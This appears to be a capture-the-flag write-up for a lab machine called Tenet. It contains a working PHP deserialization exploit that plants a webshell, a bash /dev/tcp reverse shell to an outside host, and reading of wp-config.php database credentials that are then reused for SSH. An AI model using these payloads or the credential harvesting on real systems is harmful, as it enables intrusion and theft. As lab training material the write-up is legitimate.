We understand the we need to pass arepo= (some serialized string);
func __destruct calls file_put_contents basically making a new file with the $user_file as name and $data as its contents.
We can exploit this by creating our own serialized class.
class DatabaseExport
{
public $user_file = 'webshell.php';
public $data = '<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>';
}
print urlencode(serialize(new DatabaseExport));
# object we are sending is
O:14:"DatabaseExport":2:{s:9:"user_file";s:12:"webshell.php";s:4:"data";s:60:"" . shell_exec($_GET["cmd"]) . ""; ?>";}
# urlencoded serialized object is
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A12%3A%22webshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A60%3A%22%3C%3Fphp+echo+%22%3Cpre%3E%22+.+shell_exec%28%24_GET%5B%22cmd%22%5D%29+.+%22%3C%2Fpre%3E%22%3B+%3F%3E%22%3B%7D
Trying out http://10.10.10.223/webshell.php?cmd=whoami
www-data
Lets get a reverse-shell:
class DatabaseExport
{
public $user_file = 'webshell.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.10/443 0>&1\'"); ?>';
}
print urlencode(serialize(new DatabaseExport));
# urlencoded serialized object is
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A12%3A%22webshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A72%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.10%2F443+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.223] 55006
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
We can now SSH using neil:
sudo -l
Matching Defaults entries for www-data on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User www-data may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh